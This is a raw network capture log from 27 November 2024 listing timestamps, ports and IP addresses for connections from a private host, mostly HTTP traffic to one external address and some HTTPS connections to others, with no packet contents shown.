Nov 27, 2024 17:58:54.569104910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.569150925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.569262981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.569880962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.569919109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.569978952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.570013046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.570794106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.570832968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.570950031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.571043968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.571732044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.571751118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.571887016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.572639942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.572676897 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.572732925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.572829962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.573512077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.573570013 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.573615074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.573652029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.574419022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.574522972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.574563026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.575347900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.575404882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.575432062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.575481892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.576255083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.576313972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.576385975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.576431036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.577219009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.577230930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.577280998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.578111887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.578236103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.578255892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.578270912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.579004049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.579055071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.579056978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.579124928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.579982996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.580050945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.580080032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.580118895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.580832005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.580986977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.581032991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.581716061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.581751108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.581804991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.582663059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.582701921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.582736015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.583106995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.583564043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.583630085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.583697081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.583697081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.584464073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.584501982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.584558010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.584670067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.585375071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.585421085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.585445881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.585560083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.586436987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.586508989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.586530924 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.586549044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.587197065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.587240934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.587435007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.588104963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.588152885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.588293076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.588396072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.589018106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.589087009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.589116096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.589426994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.589915037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.590032101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.590084076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.590841055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.590969086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.590976954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.591032982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.591732025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.591778040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.591794014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.591833115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.592643976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.592792034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.592833996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.592869997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.593594074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.593698025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.593765020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.594717026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.594783068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.594819069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.594974995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.595439911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.595506907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.595571995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.596328974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.596412897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.596438885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.596472979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.597260952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.597295046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.597316027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.597348928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.598141909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.598192930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.598275900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.598418951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.599046946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.599124908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.599162102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.600004911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.600063086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.600079060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.600290060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.600872993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.600979090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.601057053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.601807117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.601995945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.602046967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.602750063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.602808952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.602814913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.602938890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.603605032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.603677034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.603699923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.603779078 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.604497910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.604562998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.604607105 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.604641914 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.605428934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.605487108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.605488062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.605561972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.606383085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.606393099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.606483936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.607350111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.607429028 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.608194113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.608381987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.608392954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.608405113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.608426094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.609297991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.609337091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.609375000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.609428883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.610085964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.610141993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.610178947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.610213995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.610986948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.611037970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.611082077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.611474991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.611818075 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.611994028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.612035990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.612721920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.612786055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.612879992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.612915039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.613656998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.613717079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.613749981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.613953114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.615106106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.615125895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.615185022 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.615422010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.615567923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.695581913 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.696824074 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:54.696849108 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.697360992 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:54.697366953 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:54.760102034 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.760149956 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.760333061 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.760369062 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.760399103 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.760426998 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.761398077 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.761425972 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.761444092 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.761482000 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.761492968 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.761542082 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.761542082 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.762783051 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.762805939 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.763081074 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763118029 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.763199091 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763251066 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763286114 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.763571024 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763605118 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763772964 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763789892 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.763905048 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763905048 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.763921976 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.763933897 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.764079094 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.764086008 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.764250994 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:54.764261961 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:54.771441936 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.771519899 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.771661043 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.771719933 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.771739006 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.771753073 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:54.771759033 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:54.778053045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.778083086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.778147936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.778182030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.778289080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.778404951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.778557062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.778606892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.779254913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.779320002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.779331923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.779397011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.780128956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.780195951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.780225992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.780236959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.781033039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.781147957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.781198025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.781975985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.782015085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.782059908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.782857895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.782902956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.782929897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.782978058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.783788919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.783865929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.783910990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.784707069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.784759998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.784842968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.784882069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.785664082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.785712004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.785785913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.785938978 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.786533117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.786628962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.786655903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.786667109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.787456036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.787519932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.787528992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.787601948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.788378000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.788429976 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.788604975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.788713932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.789248943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.789300919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.789365053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.789407969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.790165901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.790211916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.790258884 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.790395021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.791074991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.791189909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.791209936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.791292906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.792022943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.792066097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.792298079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.792993069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.793041945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.793068886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.793078899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.793843985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.793919086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.793967009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.794013023 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.794837952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.794888020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.794948101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.795011997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.795676947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.795725107 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.795747042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.795799017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.796598911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.796689987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.796710014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.796869993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.797466040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.797503948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.797528982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.797552109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.798377037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.798471928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.798516989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.799267054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.799320936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.799396038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.799449921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.800175905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.800228119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.800297022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.800339937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.801121950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.801204920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.801232100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.801256895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.802031994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.802066088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:54.802131891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:54.802973986 CET	80	49850	185.215.113.206	192.168.2.7
